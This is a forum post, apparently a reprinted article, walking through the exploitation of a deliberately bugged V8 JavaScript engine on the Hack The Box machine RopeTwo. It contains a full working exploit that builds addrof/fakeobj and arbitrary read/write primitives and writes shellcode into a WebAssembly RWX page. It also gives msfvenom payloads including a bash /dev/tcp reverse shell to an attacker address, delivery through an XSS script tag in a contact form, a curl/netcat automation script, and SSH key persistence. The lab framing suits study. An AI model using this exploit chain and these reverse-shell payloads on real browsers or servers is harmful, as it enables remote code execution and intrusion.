• XSS.stack #1 – первый литературный журнал от юзеров форума

PWN Разбираем V8. Заглядываем под капот Chrome на виртуалке с Hack The Box

weaver

31 c0 bb ea 1b e6 77 66 b8 88 13 50 ff d3
Забанен
Регистрация
19.12.2018
Сообщения
3 301
Решения
11
Реакции
4 622
Депозит
0.0001
Пожалуйста, обратите внимание, что пользователь заблокирован
Речь, конечно же, пойдет не о цилиндрах и клапанах. В этой статье мы поговорим о Google V8 Engine — движке JS, который стоит в Chromium и Android. Вернее, мы будем ломать его на самой сложной в рейтинге сообщества Hack The Box тачке RopeTwo. Ты узнаешь, какие типы данных есть в движке, как можно ими манипулировать, чтобы загрузить в память свой эксплоит, научишься использовать механизмы отладки V8, узнаешь, что такое WebAssembly и как проникнуть благодаря этому в шелл RopeTwo.

РАЗВЕДКА​

Начинаем, как всегда, со сканирования портов. Очевидно, что на машине такого уровня необходимо пройтись по всем портам (TCP + UDP 1–65 535). Для этого удобно использовать masscan — быстрый сканер портов:

Код:
masscan -e tun0 -p1-65535,U:1-65535 10.10.10.196 --rate=5000
Starting masscan 1.0.5 (http://bit.ly/14GZzcT) at 2020-12-21 19:41:59 GMT
-- forced options: -sS -Pn -n --randomize-hosts -v --send-eth
Initiating SYN Stealth Scan
Scanning 1 hosts [131070 ports/host]
Discovered open port 8060/tcp on 10.10.10.196
Discovered open port 22/tcp on 10.10.10.196
Discovered open port 8000/tcp on 10.10.10.196
Discovered open port 9094/tcp on 10.10.10.196
Discovered open port 5000/tcp on 10.10.10.196

Видим, что открыто всего пять портов TCP. Просканируем их с пристрастием хорошо всем известным сканером Nmap, чтобы узнать подробности.

Код:
nmap  -n -v -Pn  -sV -sC -p8060,22,8000,9094,5000, 10.10.10.196
...
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.9p1 Ubuntu 10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 bc:d9:40:18:5e:2b:2b:12:3d:0b:1f:f3:6f:03:1b:8f (RSA)
|   256 15:23:6f:a6:d8:13:6e:c4:5b:c5:4a:6f:5a:6b:0b:4d (ECDSA)
|_  256 83:44:a5:b4:88:c2:e9:28:41:6a:da:9e:a8:3a:10:90 (ED25519)
5000/tcp open  http    nginx
|_http-favicon: Unknown favicon MD5: F7E3D97F404E71D302B3239EEF48D5F2
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
| http-robots.txt: 55 disallowed entries (15 shown)
| / /autocomplete/users /search /api /admin /profile
| /dashboard /projects/new /groups/new /groups/*/edit /users /help
|_/s/ /snippets/new /snippets/*/edit
| http-title: Sign in \xC2\xB7 GitLab
|_Requested resource was http://10.10.10.196:5000/users/sign_in
|_http-trane-info: Problem with XML parsing of /evox/about
8000/tcp open  http    Werkzeug httpd 0.14.1 (Python 3.7.3)
| http-methods:
|_  Supported Methods: GET OPTIONS HEAD
|_http-server-header: Werkzeug/0.14.1 Python/3.7.3
|_http-title: Home
8060/tcp open  http    nginx 1.14.2
| http-methods:
|_  Supported Methods: GET HEAD POST
|_http-server-header: nginx/1.14.2
|_http-title: 404 Not Found
9094/tcp open  unknown
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
...

Видим SSH, три веб‑сервера и неизвестный порт. Идем смотреть, что нам покажет браузер.

На 5000-м портe нас предсказуемо ждет GitLab, мы это видели в отчете Nmap.

1611266465800.png

На 5000-м порте — приветствие GitLab

На 8000-м порте — веб‑сервер на Python Werkzeug (WSGI) показывает нам простенький сайт по разработке V8 — движка JavaScript с открытыми исходниками, который разрабатывают в Google для использования в браузере Chrome и других проектах. Подробнее о нем можно почитать на официальном сайте.

1611266502100.png

На 8000-м порте — страница с исходниками и контактами

Прокрутив страницу, видим ссылку http://gitlab.rope2.htb:5000/root/v8, которая ведет на исходный код.

1611266593200.png

Ссылка на исходный код

На 8060-м порте мы видим 404 Not Found. Порт 9094 на запросы отвечать не хочет.

По традиции добавим найденный домен в /etc/hosts:

Код:
10.10.10.196    rope2.htb gitlab.rope2.htb

ПЛАЦДАРМ​

Раз нам предлагают посмотреть исходные коды, грех не воспользоваться такой возможностью.

1611266672000.png

Репозиторий с исходниками V8

Мы видим исходные коды V8 и отдельную ветку, созданную автором ВМ, которая содержит один коммит с небольшими изменениями. Очевидно, что эти изменения должны нам помочь. Изменены всего четыре файла, посмотрим на них внимательнее.

1611266704700.png

Изменения src/builtins/builtins-definitions.h

В файле заголовков добавлены две функции для работы с массивами: ArrayGetLastElement и ArraySetLastElement. CPP — это макрос, который добавляет записи этих функций в массив метаданных.

Подробнее об этом можно прочесть в документации, в разделе Builtins.

1611266773900.png

Изменения src/init/bootstrapper.cc

Инсталлируем прототипы GetLastElement и SetLastElement в качестве встроенных функций.

1611266813200.png

Изменения src/compiler/typer.cc

Определяем вызовы функций.

1611266841600.png

Изменения src/builtins/builtins-array.cc

Вот мы и добрались до самого интересного — исходного кода самих функций. Функция GetLastElement конвертирует массив в FixedDoubleArray и возвращает его последний элемент — array[length]. Функция SetLastElement записывает переданное ей значение в последний элемент array[length] с типом float. Попробуй, не читая дальше, догадаться, в чем тут подвох.

Поскольку у меня не было глубоких знаний движка V8, пришлось привлекать на помощь интернет. По ключевым выражениям из приведенных выше исходников я довольно быстро нашел отличный райтап Фараза Абрара Exploiting v8: *CTF 2019 oob-v8, коммит с изменениями в котором как две капли воды похож на наш.

Я уже предвкушал легкую победу, но не тут‑то было. Не буду подробно расписывать весь процесс, так как он детально изложен в райтапе, только кратко затрону основные моменты и остановлюсь подробнее на ключевых отличиях.

Итак, основное отличие в коммитах только в том, что в райтапе за чтение и запись элементов в массив отвечает лишь одна функция, которая выполняет то или иное действие в зависимости от количества переданных ей переменных.

Уязвимость же в них одна и та же. Надеюсь, ты уже догадался, какая? Поскольку адресация массива начинается с 0, то array[length] позволяет нам читать и писать один элемент вне границ массива. Осталось понять, как мы можем это использовать.

ПОДНИМАЕМ СТЕНД​

Для начала скачиваем diff-файл.

1611266898600.png

Скачиваем diff

Назовем файл v8.diff, в конце добавим дополнительный перенос строки, чтобы git apply не ругался.

Далее выполняем следующие команды (стенд я развернул на Ubuntu 19.04):

Код:
artex@ubuntu:~/tools$ git clone https://chromium.googlesource.com/chromium/tools/depot_tools.git
artex@ubuntu:~/tools$ echo "export PATH=/home/artex/depot_tools:$PATH" >> ~/.bashrc
artex@ubuntu:~/tools$ source ~/.bashrc


artex@ubuntu:~$ fetch v8
artex@ubuntu:~$ cd v8
artex@ubuntu:~/v8$ ./build/install-build-deps.sh
artex@ubuntu:~/v8$ git checkout 458c07a7556f06485224215ac1a467cf7a82c14b
artex@ubuntu:~/v8$ gclient sync
artex@ubuntu:~/v8$ git apply --ignore-space-change --ignore-whitespace ../v8.diff
artex@ubuntu:~/v8$ ./tools/dev/v8gen.py x64.release
artex@ubuntu:~/v8$ ninja -C ./out.gn/x64.release # Release version
artex@ubuntu:~/v8$ ./tools/dev/v8gen.py x64.debug
artex@ubuntu:~/v8$ ninja -C ./out.gn/x64.debug # Debug version

Внимание: компиляция каждого релиза может выполняться несколько часов!

Первое, что нам необходимо, — добиться утечки адреса массива. Для этого напишем скрипт, основанный на райтапе Фараза. Смысл в том, чтобы изменить указатель obj_array_map массива obj_array на float_array_map массива float_array, так как структура Map у этих объектов отличается.

Очень важный момент, на котором основана эксплуатация, — в то время как запрос нулевого индекса float_array возвращает значение элемента массива, нулевой индекс obj_array возвращает указатель на объект (который потом преобразуется в значение). И если мы подменим карту (Map) obj_array картой float_array и обратимся к нулевому индексу, мы получим не значение элемента массива, а указатель объекта в виде float! А благодаря найденной уязвимости заменить карту труда не составляет, так как она находится за элементами массива в структуре JSArray.

JavaScript:
var buf = new ArrayBuffer(8);
var f64_buf = new Float64Array(buf);
var u64_buf = new Uint32Array(buf);
function ftoi(val) {
    f64_buf[0] = val;
    return BigInt(u64_buf[0]) + (BigInt(u64_buf[1]) << 32n);
}
function itof(val) {
    u64_buf[0] = Number(val & 0xffffffffn);
    u64_buf[1] = Number(val >> 32n);
    return f64_buf[0];
}
var obj = {"A":1};
var obj_arr = [obj];
var float_arr = [1.1, 1.2, 1.3, 1.4];
var obj_arr_map = obj_arr.GetLastElement();
var float_arr_map = float_arr.GetLastElement();
function addrof(in_obj) {
    obj_arr[0] = in_obj;
    obj_arr.SetLastElement(float_arr_map);
    let addr = obj_arr[0];
    obj_arr.SetLastElement(obj_arr_map);
    return ftoi(addr);
    }
var arr = [5.5, 5.5, 5.5, 5.5];
console.log(addrof(arr).toString(16));
console.log(%DebugPrint(arr));

Пробуем запустить наш скрипт и... получаем SEGV_ACCERR:


Код:
artex@ubuntu:~/v8/out.gn/x64.release# ./d8 --shell --allow-natives-syntax /mnt/share/v8/leak.js
Received signal 11 SEGV_ACCERR 34b4080406f8


==== C stack trace ===============================


[0x5555562d3f74]
[0x7ffff7faaf40]
[0x5555558b40ff]
[0x5555561cfa18]
[end of stack trace]
Segmentation fault (core dumped)

Ключ --allow-natives-syntax позволяет выполнять %DebugPrint() — функцию, которая выводит отладочную информацию об объектах в V8.

Тут мне стало интересно, что получится, если я заменю diff с HTB oob.diff. Если хочешь повторить мой эксперимент, создай клон ВМ и выполни команды

Код:
artex@ubuntu:~/v8$ git apply -R --ignore-space-change --ignore-whitespace ../v8.diff
artex@ubuntu:~/v8$ git apply ../oob.diff
artex@ubuntu:~/v8$ ./tools/dev/v8gen.py x64.release
artex@ubuntu:~/v8$ ninja -C ./out.gn/x64.release # Release version

Но перед этим необходимо внести следующие правки в oob.diff, так как структура файлов и их содержимое в новой версии немного поменялись.

Код:
diff --git a/src/init/bootstrapper.cc b/src/init/bootstrapper.cc
index b027d36..ef1002f 100644
--- a/src/init/bootstrapper.cc
+++ b/src/init/bootstrapper.cc
@@ -1668,6 +1668,8 @@ void Genesis::
diff --git a/src/builtins/builtins-definitions.h b/src/builtins/builtins-definitions.h
index 0447230..f113a81 100644
--- a/src/builtins/builtins-definitions.h
+++ b/src/builtins/builtins-definitions.h
@@ -319,6 +319,7 @@ namespace internal {
   TFJ(ArrayPrototypePop, kDontAdaptArgumentsSentinel)  \
   /* ES6 #sec-array.prototype.push */                  \
   CPP(ArrayPush)                                       \
+  CPP(ArrayOob)                                        \
   TFJ(ArrayPrototypePush, kDontAdaptArgumentsSentinel) \
   /* ES6 #sec-array.prototype.shift */                 \
   CPP(ArrayShift)

Также в diff --git a/src/builtins/builtins-array.cc b/src/builtins/builtins-array.cc нужно исправить length()->Number() на length().Number():

Код:
+    uint32_t length = static_cast<uint32_t>(array->length().Number());

Как и следовало ожидать, поменяв в скрипте названия функций на oob и запустив его, я получил тот же результат! Вывод один — произошли изменения в самом движке V8.

Тут надо упомянуть, что в OOB использовалась версия V8 version 7.5.0, а в нашем случае — V8 version 8.5.0. Поэтому просто взять эксплоит, запустить и получить вожделенный шелл не получится.

Пришлось перечитать массу информации, прежде чем пришло понимание: разгадка кроется в компрессии указателей, которая появилась в новой версии V8.

Что это — описано чуть ниже. Сейчас же достаточно понять, что в новой версии элементы массива float_array 64-битные, а obj_array — только 32-битные. Поэтому, чтобы размерность массивов совпадала, нужно добавить еще один элемент в массив obj_array.

Итак, исправим var obj_arr = [obj]; на var obj_arr = [obj, obj];

Код:
artex@ubuntu:~/v8/out.gn/x64.release# ./d8 --allow-natives-syntax /mnt/share/v8/leak.js
41b0800212000000
0x193108086721 <Array map = 0x193108241909>

Segmentation fault больше нет, но адреса не совпадают. Догадываешься почему? Добавив еще один элемент в массив, мы изменили его длину, и функция SetLastElement записывает значение не туда, куда нам требуется (а требуется, как ты помнишь, заменить указатель на объект Map, который расположен в памяти сразу после самих элементов массива).

К счастью, мы можем легко это исправить, добавив строчку obj_arr.length = 1;.


Код:
artex@ubuntu:~/v8/out.gn/x64.release# ./d8 --allow-natives-syntax /mnt/share/v8/leak.js
80403850808671d
0x0c2b0808671d <JSArray[4]>
5.5,5.5,5.5,5.5

Бинго! Если посмотреть внимательно, то младшие 32 бита совпадают! А старшие не совпадают, как уже был сказано выше, из‑за компрессии указателей.

Не буду описывать, что такое компрессия указателей, Фараз подробно написал об этом в другой статье.

Для наглядности и лучшего понимания я схематично изобразил, как представлен в памяти массив объектов и массив чисел с плавающей точкой (float).

1611267192100.png

Структура массивов Obj и Float

Если вкратце, этот механизм позволяет повысить производительность движка V8. Старшие 32 бита кучи (heap) всегда оставались одинаковыми при каждом запуске движка. Поэтому разработчики решили, что нет смысла оперировать 64-битными указателями, поскольку это лишняя трата ресурсов, и ввели понятие isolate root — старшие 32 бита адреса, которые всегда одинаковы и хранятся в регистре R13 (его обозвали root register). Поэтому, чтобы получить правильный 64-битный адрес, нам нужно было бы запросить старшие 32 бита в R13. Но это делать необязательно.

Как же нам выйти за пределы 32-битного пространства кучи, спросишь ты? Есть способ, который заключается в создании объекта ArrayBuffer и перезаписи его указателя backing_store. Этот указатель аллоцирует функция PartitionAlloc, которая работает с адресами вне кучи. Поэтому, используя объект DataView для записи в память с перезаписанным backing_store, мы можем получить примитив произвольного чтения и записи!

Окей, у нас есть функция addrof, и, если мы инвертируем ее логику (поменяем местами массив объектов и массив float), мы получим функцию fakeobj, которая поможет нам читать из произвольных участков памяти и писать в них:

JavaScript:
function fakeobj(addr) {
    float_arr[0] = itof(addr);
    float_arr.SetLastElement(obj_arr_map);
    let fake = float_arr[0];
    float_arr.SetLastElement(float_arr_map);
    return fake;
}
var a = [1.1, 1.2, 1.3, 1.4];
var float_arr = [1.1, 1.2, 1.3, 1.4];
var float_arr_map = float_arr.GetLastElement();
var crafted_arr = [float_arr_map, 1.2, 1.3, 1.4];
console.log("0x"+addrof(crafted_arr).toString(16));
var fake = fakeobj(addrof(crafted_arr)-0x20n);

Добавим код листинга к предыдущему и посмотрим, что получилось.

Запустим скрипт с помощью отладчика.

Код:
artex@ubuntu:~/v8/out.gn/x64.release# gdb d8
pwndbg> r --shell --allow-natives-syntax /mnt/share/v8/fake.js
-
0x804038508086911
V8 version 8.5.0 (candidate)
d8> %DebugPrint(crafted_arr);
0x18c108086911 <JSArray[4]>
[4.73859563718219e-270, 1.2, 1.3, 1.4]
-
pwndbg> x/10gx 0x18c108086911-0x28-1  (игнорируем один бит из-за тегирования)
0x18c1080868e8: 0x0000000808040a3d      0x080406e908241909 <-- нулевой элемент с float_arr_map
0x18c1080868f8: 0x3ff3333333333333      0x3ff4cccccccccccd
0x18c108086908: 0x3ff6666666666666      0x080406e908241909
0x18c108086918: 0x00000008080868e9      0x080869110804035d
0x18c108086928: 0x0804097508040385      0x0808691100000002

Тегирование указателей — это механизм в V8, который нужен для различения типов double, SMI (small integer) и pointer. Из‑за выравнивания указатели обычно указывают на участки памяти, кратные 4 и 8. А это значит, что последние 2–3 бита всегда равны нулю. V8 использует это свойство, «включая» последний бит для обозначения указателя. Поэтому для получения исходного адреса нам нужно вычесть из тегированного адреса единицу.

Пробуем записать второй элемент (указатель на elements) и прочитать его:

JavaScript:
crafted_arr[2] = itof(BigInt(0x18c1080868f0)-0x10n+1n);
"0x"+ftoi(fake[0]).toString(16);

Но не тут‑то было, опять получаем Segmentation fault.

Тут я надолго завис с дебаггером, пока не вспомнил о новом размере указателей. Ведь размерность элементов массива float — 64 бита, поэтому при замене карты массива на месте первого элемента float оказывается второй элемент массива obj, в котором размерность элементов — 32 бита. Следовательно, записав адрес в первый индекс массива float, мы получим ссылку на elements массива obj.

Достаточно поменять crafted_arr[2] на crafted_arr[1], и все начнет работать как положено. А чтобы прочитать желаемое значение (нулевого элемента fake), нужно соответственно поменять и смещение elements с 0x10 на 0x08 (так как указатель теперь 32-битный). Пробуем.

Код:
d8> crafted_arr[1] = itof(BigInt(0x18c1080868f0)-0x8n+1n);
1.3447153912017e-310
-
pwndbg> x/10gx 0x18c108086911-0x28-1
0x18c1080868e8: 0x0000000808040a3d      0x080406e908241909
0x18c1080868f8: 0x000018c1080868e9      0x3ff4cccccccccccd  <-- записали адрес для чтения
0x18c108086908: 0x3ff6666666666666      0x080406e908241909
0x18c108086918: 0x00000008080868e9      0x080869110804035d
0x18c108086928: 0x0804097508040385      0x0808691100000002
d8> "0x"+ftoi(fake[0]).toString(16);
    "0x80406e908241909" <-- и успешно прочитали значение, на которое он указывает

Объясню подробнее, как это работает. Создадим массив float и посмотрим на отладочную информацию. Запускать необходимо в дебаг‑релизе, чтобы увидеть подробный вывод %DebugPrint() об адресах.

Код:
pwndbg> file d8
Reading symbols from d8...
pwndbg> r --shell --allow-natives-syntax
Starting program: /opt/v8/v8/out.gn/x64.debug/d8 --shell --allow-natives-syntax
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
var a = [1.1, 1.2, 1.3, 1.4];
[New Thread 0x7ffff3076700 (LWP 2342)]
V8 version 8.5.0 (candidate)
d8> undefined
d8> %DebugPrint(a);
DebugPrint: 0x274a080c5e51: [JSArray]
- map: 0x274a08281909 <Map(PACKED_DOUBLE_ELEMENTS)> [FastProperties]
- prototype: 0x274a0824923d <JSArray[0]>
- elements: 0x274a080c5e29 <FixedDoubleArray[4]> [PACKED_DOUBLE_ELEMENTS]
- length: 4
- properties: 0x274a080406e9 <FixedArray[0]> {
#length: 0x274a081c0165 <AccessorInfo> (const accessor descriptor)
}
- elements: 0x274a080c5e29 <FixedDoubleArray[4]> {
           0: 1.1
           1: 1.2
           2: 1.3
           3: 1.4
}
...

Видим, что смещение elements от начала структуры JSArray равно 0x28:


Код:
0x274a080c5e51-0x274a080c5e29 == 0x28

Посмотрим на элементы массива, которые находятся в памяти перед структурой JSArray:


Код:
pwndbg> x/10gx 0x274a080c5e51-1-0x28 (игнорируем один бит из-за тегирования)
0x274a080c5e28: 0x0000000808040a3d      0x3ff199999999999a
0x274a080c5e38: 0x3ff3333333333333      0x3ff4cccccccccccd
0x274a080c5e48: 0x3ff6666666666666      0x080406e908281909
0x274a080c5e58: 0x00000008080c5e29      0x82e4079a08040551
0x274a080c5e68: 0x7566280a00000adc      0x29286e6f6974636e

Нулевой элемент массива расположен по адресу


Код:
index 0 == 0x274a080c5e30 == elements + 0x08

Предположим, мы поместим fake_object по адресу 0x274a080c5e30.
Далее если мы заменим в fake_object карту float_arr_map obj_arr_map (при этом мы затираем поле properties, но это некритично), то первый индекс массива crafted_arr будет содержать указатель на элементы fake_object, так как размерность указателей — 32 бита, а элементов массива Float — 64 бита. Поэтому, обратившись к fake_object[0], мы прочитаем значение по адресу, который запишем в первый индекс crafted_arr.
Схематично это можно изобразить так.

1611267416100.png

Структура массива для произвольного чтения и записи

Что ж, теперь с помощью вспомогательных функций, которые я не буду подробно описывать (в конце раздела будет листинг с комментариями), мы можем писать и читать произвольные адреса!

Осталось найти область памяти, которая бы позволяла еще и выполнить в ней наш код (rwx). И такая область есть, с ней работает модуль WebAssembly.

WebAssembly (сокращенно wasm) — безопасный и эффективный низкоуровневый бинарный формат для веба. Стековая виртуальная машина, исполняющая инструкции бинарного формата wasm, может быть запущена как в среде браузера, так и в серверной среде. Код на wasm — переносимое абстрактное синтаксическое дерево, что обеспечивает как более быстрый анализ, так и более эффективное выполнение в сравнении с JavaScript.

Собрав эксплоит с учетом всех описанных изменений, я вновь получил Segmentation fault.

Область rwx в текущих реализациях движка всегда находится на одинаковом смещении от объекта WasmInstanceObject. В версии 7.5.0 оно равнялось 0x87. Будем выяснять, каково оно в 8.5.0. Для этого создадим простой скрипт wasm.js с объектом wasmInstance и запустим его под отладчиком:

JavaScript:
var code_bytes = new Uint8Array([
    0x00,0x61,0x73,0x6D,0x01,0x00,0x00,0x00,0x01,0x07,0x01,0x60,0x02,0x7F,0x7F,0x01,
    0x7F,0x03,0x02,0x01,0x00,0x07,0x0A,0x01,0x06,0x61,0x64,0x64,0x54,0x77,0x6F,0x00,
    0x00,0x0A,0x09,0x01,0x07,0x00,0x20,0x00,0x20,0x01,0x6A,0x0B,0x00,0x0E,0x04,0x6E,
    0x61,0x6D,0x65,0x02,0x07,0x01,0x00,0x02,0x00,0x00,0x01,0x00]);
const wasmModule = new WebAssembly.Module(code_bytes.buffer);
const wasmInstance =
      new WebAssembly.Instance(wasmModule, {});
const { addTwo } = wasmInstance.exports;
console.log(addTwo(5, 6));
%DebugPrint(wasmInstance);

Код:
artex@ubuntu:~/v8/out.gn/x64.debug# gdb d8
--skip--
pwndbg> r --shell --allow-natives-syntax /mnt/share/v8/wasm.js
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
[New Thread 0x7ffff3076700 (LWP 5461)]
11
0x2f11082503dc
DebugPrint: 0x2f1108250375: [WasmInstanceObject] in OldSpace
--skip--

Получили адрес WasmInstanceObject: 0x2f1108250375. Теперь найдем в списке процессов наш скрипт и его PID (ps aux | grep wasm.js) и поищем в его карте памяти области rwx:

Код:
artex@ubuntu:/home/artex# cat /proc/5457/maps | grep -i rwx
b444a6ea000-b444a6eb000 rwxp 00000000 00:00 0

Ура, есть такая! Мы получили адрес rwx: 0xb444a6ea000. Осталось найти адрес указателя на эту область, для этого в pwndbg воспользуемся следующей командой:

Код:
pwndbg> search -t pointer 0xb444a6ea000
                0x2f11082503dc 0xb444a6ea000

Указатель расположен по адресу 0x2f11082503dc. Осталось рассчитать смещение:


Код:
python -c 'print(hex(0x2f11082503dc - (0x2f1108250375 - 0x1)))'
0x68

Заменим его в скрипте. Но есть еще один указатель, смещение которого поменялось, это backing_store.

Чтобы его найти, опять запустим дебаг‑релиз V8 под отладчиком:

Код:
artex@ubuntu:~/v8/out.gn/x64.debug# gdb d8
-
pwndbg> r --shell --allow-natives-syntax
Starting program: /opt/v8/v8/out.gn/x64.debug/d8 --shell --allow-natives-syntax
-
d8> var buf = new ArrayBuffer(0x100);
undefined
d8> %DebugPrint(buf);
DebugPrint: 0x329e080c5e2d: [JSArrayBuffer]
- map: 0x329e08281189 <Map(HOLEY_ELEMENTS)> [FastProperties]
- prototype: 0x329e082478c1 <Object map = 0x329e082811b1>
- elements: 0x329e080406e9 <FixedArray[0]> [HOLEY_ELEMENTS]
- embedder fields: 2
- backing_store: 0x5555556f2e80
--skip--

Видим значение backing_store: 0x5555556f2e80. Вычислим смещение (я выделил его красным), не забываем о little endian.

1611267562500.png

Смещение backing_store

Итак, смещение равно 0x14.

Похоже, на этом все, можно пробовать! Готовим наш тестовый пейлоад с помощью утилиты msfvenom. Все, что он делает, — выводит строку «PWNED!».

Код:
msfvenom -p linux/x64/exec -f dword CMD='bash -c "echo PWNED!"'
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 64 bytes
Final size of dword file: 194 bytes
0x99583b6a, 0x622fbb48, 0x732f6e69, 0x48530068, 0x2d68e789, 0x48000063, 0xe852e689, 0x00000016,
0x68736162, 0x20632d20, 0x68636522, 0x5750206f, 0x2144454e, 0x57560022, 0x0fe68948, 0x00000005

А вот и финальный код эксплоита с комментариями:


JavaScript:
// Вспомогательные функции конвертации между float и Integer
var buf = new ArrayBuffer(8); // 8 byte array buffer
var f64_buf = new Float64Array(buf);
var u64_buf = new Uint32Array(buf);
function ftoi(val) {
    f64_buf[0]=val;
    return BigInt(u64_buf[0]) + (BigInt(u64_buf[1]) << 32n);
}
function itof(val) { // typeof(val) = BigInt
    u64_buf[0] = Number(val & 0xffffffffn);
    u64_buf[1] = Number(val >> 32n);
    return f64_buf[0];
}
// Создаем addrof-примитив
var obj = {"A":1};
var obj_arr = [obj, obj]; // Массив из двух элементов (чтобы получить размерность 64 бита)
obj_arr.length = 1; // Указываем принудительно размер массива = 1
var float_arr = [1.1, 1.2];
// Из-за переполнения obj_arr[length] и float_arr_map[length] считываем указатель на Map
var obj_arr_map = obj_arr.GetLastElement();
var float_arr_map = float_arr.GetLastElement();
function addrof(in_obj) {
        // Помещаем объект, адрес которого нам нужен, в index 0
    obj_arr[0] = in_obj;
        // Заменяем карту массива obj картой массива float
    obj_arr.SetLastElement(float_arr_map);
    // Получаем адрес, обращаясь к index 0
    let addr = obj_arr[0];
    // Заменяем карту обратно на obj
    obj_arr.SetLastElement(obj_arr_map);
    // Возвращаем адрес в формате BigInt
    return ftoi(addr);
}
function fakeobj(addr) {
    // Конвертируем адрес во float и помещаем его в нулевой элемент массива float
    float_arr[0] = itof(addr);
    // Меняем карту float на карту массива obj
    float_arr.SetLastElement(obj_arr_map);
    // Получаем объект "fake", на который указывает адрес
    let fake = float_arr[0];
    // Меняем карту обратно на float
    float_arr.SetLastElement(float_arr_map);
    // Возвращаем полученный объект
    return fake;
}
// Этот объект мы будем использовать, чтобы читать из произвольных адресов памяти и писать в них
var arb_rw_arr = [float_arr_map, 1.2, 1.3, 1.4];
console.log("[+] Controlled float array: 0x" + addrof(arb_rw_arr).toString(16));
function arb_read(addr) {
    // Мы должны использовать тегированные указатели для чтения, поэтому тегируем адрес
    if (addr % 2n == 0)
        addr += 1n;
    // Помещаем fakeobj в адресное пространство, в котором расположены элементы arb_rw_arr
    let fake = fakeobj(addrof(arb_rw_arr) - 0x20n); // 4 элемента × 8 байт = 0x20
    // Изменяем указатель elements arb_rw_arr на read_addr-0x08
        // По адресу первого элемента массива float находится 2-й индекс obj_map,
        // указывающий на элементы объекта fake
    arb_rw_arr[1] = itof(BigInt(addr) - 0x8n);
    // Обращаясь к нулевому индексу массива, читаем значение, расположенное по адресу addr,
        // и возвращаем его в формате float
    return ftoi(fake[0]);
}
function arb_write(addr, val) {
        // Помещаем fakeobj в адресное пространство, в котором расположены элементы arb_rw_arr
    let fake = fakeobj(addrof(arb_rw_arr) - 0x20n); // 4 элемента × 8 байт = 0x20
    // Изменяем указатель на элементы arb_rw_arr на write_addr-0x08
        // По адресу первого элемента массива float находится 2-й индекс obj_map,
        // указывающий на элементы объекта fake
    arb_rw_arr[1] = itof(BigInt(addr) - 0x8n); //
    // Записываем значение в нулевой элемент в формате float,
    fake[0] = itof(BigInt(val));
}
// Произвольный код, скомпилированный в WebAssembly (нужен для создания wasm_instance)
var wasm_code = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,
3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,
128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,
0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
var wasm_mod = new WebAssembly.Module(wasm_code);
var wasm_instance = new WebAssembly.Instance(wasm_mod);
var exploit = wasm_instance.exports.main;
// Получаем адрес wasm_instance
var wasm_instance_addr = addrof(wasm_instance);
console.log("[+] Wasm addr: 0x" + wasm_instance_addr.toString(16));
var rwx_page_addr = arb_read(wasm_instance_addr + 0x68n); // Постоянное смещение страницы rwx = 0x68
function copy_shellcode(addr, shellcode) {
    let buf = new ArrayBuffer(0x100);
    let dataview = new DataView(buf);
    let buf_addr = addrof(buf); // Получаем адрес ArrayBuffer
    let backing_store_addr = buf_addr + 0x14n; // Постоянное смещение backing_store=0x14
    arb_write(backing_store_addr, addr); // Изменяем адрес backing_store_addr на addr
        // Пишем шелл по адресу backing_store_addr
    for (let i = 0; i < shellcode.length; i++) {
    dataview.setUint32(4*i, shellcode[i], true);
    }
}
console.log("[+] RWX Wasm page addr: 0x" + rwx_page_addr.toString(16));
// msfvenom -p linux/x64/exec -f dword CMD='твой_шелл_код'
var shellcode = new Uint32Array([0x99583b6a, 0x622fbb48, 0x732f6e69, 0x48530068,
0x2d68e789, 0x48000063, 0xe852e689, 0x00000016, 0x68736162, 0x20632d20, 0x68636522,
0x5750206f, 0x2144454e, 0x57560022, 0x0fe68948, 0x00000005]);
// Пишем реверс-шелл по адресу rwx_page
copy_shellcode(rwx_page_addr, shellcode);
// Вызываем wasm_instance c нашим реверс-шеллом
exploit();

Запускаем наш тестовый эксплоит:


Код:
artex@ubuntu:~/v8/out.gn/x64.release# ./d8 /mnt/share/v8/test.js
[+] Controlled float array: 0x8040385080882ed
[+] Wasm addr: 0x8040385082110b1
[+] RWX Wasm page addr: 0x29db47484000
PWNED!

Работает!

Остался последний шаг — разобраться, как его запустить на удаленной машине.

Единственный интерактивный элемент на сайте — это форма обратной связи по адресу http://rope2.htb:8000/contact. Так как V8 — это движок JS, очевидно, что надо как‑то скормить ему наш JavaScript. Запускаем сервер HTTP: python -m http.server 8070 — и вводим во все поля формы

Код:
<script src="[http://10.10.xx.xx:8070/v8.js](http://10.10.16.176:8082/artman.js)"></script>

И получаем запрос от сервера! После недолгих экспериментов я выяснил, что запуск скрипта триггерит поле Message.

1611267699400.png

Проверяем XSS

Теперь дело за малым. Генерируем боевой пейлоад с реверс‑шеллом и вставляем его в наш скрипт.

Код:
msfvenom -p linux/x64/exec -f dword CMD='bash -c "bash -i >& /dev/tcp/10.10.xx.xx/7090 0>&1"'

Кладем скрипт в папку, из которой запущен наш веб‑сервер, запускаем netcat (nc -lnvp 7090) и отправляем форму с запросом скрипта в поле Message.

Наконец‑то долгожданный шелл!

1611267750100.png

Получаем шелл

Чтобы автоматизировать процесс, я написал пару строк на bash — получившийся файл нужно положить в ту же папку, где лежит скрипт.

Код:
python -m http.server 8070 &
curl -d 'name=&subject=&content=%3Cscript+src%3D%22http%3A%2F%2F10.10.xx.xx%3A8070%2Fv8.js%22%3E%3C%2Fscript%3E' -L http://10.10.10.196:8000/contact &
nc -lnvp 7090

Правда, сессия живет не больше минуты — видимо, на сервере срабатывает тайм‑аут. Чтобы сделать себе стабильный шелл, нужно добавить пользователю chromeuser свой ключ SSH:

Код:
mkdir /home/chromeuser/.ssh
echo 'твой_ssh_ключ'>>/home/chromeuser/.ssh/authorized_keys

